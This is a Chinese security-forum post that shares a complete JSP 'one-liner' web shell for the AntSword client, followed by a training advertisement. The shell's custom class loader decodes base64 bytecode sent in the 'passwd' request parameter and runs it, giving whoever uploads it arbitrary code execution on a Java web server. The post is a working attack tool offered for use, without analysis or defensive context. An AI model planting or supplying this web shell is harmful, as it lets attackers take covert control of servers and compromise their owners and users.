antsword jsp 一句话链接

[复制链接]
发表于 2023-1-11 12:26:46 | 显示全部楼层 |阅读模式
  1. <%!
  2.     class U extends ClassLoader {
  3.         U(ClassLoader c) {
  4.             super(c);
  5.         }
  6.         public Class g(byte[] b) {
  7.             return super.defineClass(b, 0, b.length);
  8.         }
  9.     }

  10.     public byte[] base64Decode(String str) throws Exception {
  11.         try {
  12.             Class clazz = Class.forName("sun.misc.BASE64Decoder");
  13.             return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
  14.         } catch (Exception e) {
  15.             Class clazz = Class.forName("java.util.Base64");
  16.             Object decoder = clazz.getMethod("getDecoder").invoke(null);
  17.             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
  18.         }
  19.     }
  20. %>
  21. <%
  22.     String cls = request.getParameter("passwd");
  23.     if (cls != null) {
  24.         new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
  25.     }
  26. %>

复制代码
截图202301110426431189.png
必火网络安全培训,北京实地培训,月月有开班,零基础入门,四个月打造渗透高手。
详情请加微信:nvhack/153-2000-4362,手机微信同号。
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|Archiver|手机版|小黑屋|女黑客安全网 |网站地图 | 津ICP备17008032号-3

GMT+8, 2026-2-2 05:21 , Processed in 0.085018 second(s), 27 queries .

Powered by Discuz! X3.5

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表